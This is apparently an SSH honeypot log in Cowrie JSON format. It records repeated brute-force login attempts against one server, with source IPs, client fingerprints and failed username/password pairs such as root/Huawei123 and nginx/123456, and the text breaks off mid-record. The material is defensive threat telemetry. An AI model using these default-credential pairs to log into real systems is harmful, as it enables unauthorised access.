{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:57.362655Z","src_ip":"176.65.139.95","session":"2b1e87c11d19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:57.771290Z","src_ip":"176.65.139.95","session":"2b1e87c11d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:58.855921Z","src_ip":"176.65.139.95","session":"2b1e87c11d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53466,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad107e1aa72b","protocol":"ssh","message":"New connection: 176.65.139.95:53466 (159.203.135.109:22) [session: ad107e1aa72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:03.935486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:03.940423Z","src_ip":"176.65.139.95","session":"ad107e1aa72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:04.037374Z","src_ip":"176.65.139.95","session":"ad107e1aa72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:04.336912Z","src_ip":"176.65.139.95","session":"ad107e1aa72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:05.422675Z","src_ip":"176.65.139.95","session":"ad107e1aa72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60362,"dst_ip":"159.203.135.109","dst_port":22,"session":"638c16a955fd","protocol":"ssh","message":"New connection: 176.65.139.95:60362 (159.203.135.109:22) [session: 638c16a955fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:10.410126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:10.415122Z","src_ip":"176.65.139.95","session":"638c16a955fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:10.503538Z","src_ip":"176.65.139.95","session":"638c16a955fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:10.773772Z","src_ip":"176.65.139.95","session":"638c16a955fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:11.871578Z","src_ip":"176.65.139.95","session":"638c16a955fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60374,"dst_ip":"159.203.135.109","dst_port":22,"session":"877ea1460588","protocol":"ssh","message":"New connection: 176.65.139.95:60374 (159.203.135.109:22) [session: 877ea1460588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:16.954235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:16.961511Z","src_ip":"176.65.139.95","session":"877ea1460588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:17.044716Z","src_ip":"176.65.139.95","session":"877ea1460588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:17.722308Z","src_ip":"176.65.139.95","session":"877ea1460588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46478,"dst_ip":"159.203.135.109","dst_port":22,"session":"0539f1ee8587","protocol":"ssh","message":"New connection: 159.203.92.129:46478 (159.203.135.109:22) [session: 0539f1ee8587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:18.595953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:18.601353Z","src_ip":"159.203.92.129","session":"0539f1ee8587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:18.607303Z","src_ip":"159.203.92.129","session":"0539f1ee8587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"JinJH","password":"123456","message":"login attempt [JinJH/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:18.622241Z","src_ip":"159.203.92.129","session":"0539f1ee8587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:18.829773Z","src_ip":"176.65.139.95","session":"877ea1460588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:19.629045Z","src_ip":"159.203.92.129","session":"0539f1ee8587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42154,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c3d2ad61f00","protocol":"ssh","message":"New connection: 176.65.139.95:42154 (159.203.135.109:22) [session: 2c3d2ad61f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:23.460855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:23.583527Z","src_ip":"176.65.139.95","session":"2c3d2ad61f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:23.588121Z","src_ip":"176.65.139.95","session":"2c3d2ad61f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:24.082088Z","src_ip":"176.65.139.95","session":"2c3d2ad61f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:25.170019Z","src_ip":"176.65.139.95","session":"2c3d2ad61f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48710,"dst_ip":"159.203.135.109","dst_port":22,"session":"afe80412bec4","protocol":"ssh","message":"New connection: 176.65.139.95:48710 (159.203.135.109:22) [session: afe80412bec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:30.147293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:30.152895Z","src_ip":"176.65.139.95","session":"afe80412bec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:30.250408Z","src_ip":"176.65.139.95","session":"afe80412bec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:30.537977Z","src_ip":"176.65.139.95","session":"afe80412bec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:31.635118Z","src_ip":"176.65.139.95","session":"afe80412bec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48722,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6902ecb3fc4","protocol":"ssh","message":"New connection: 176.65.139.95:48722 (159.203.135.109:22) [session: f6902ecb3fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:36.648944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:36.659389Z","src_ip":"176.65.139.95","session":"f6902ecb3fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:36.744520Z","src_ip":"176.65.139.95","session":"f6902ecb3fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:37.232432Z","src_ip":"176.65.139.95","session":"f6902ecb3fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:38.317247Z","src_ip":"176.65.139.95","session":"f6902ecb3fc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59010,"dst_ip":"159.203.135.109","dst_port":22,"session":"4937d85d1039","protocol":"ssh","message":"New connection: 176.65.139.95:59010 (159.203.135.109:22) [session: 4937d85d1039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:43.196729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:43.201348Z","src_ip":"176.65.139.95","session":"4937d85d1039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-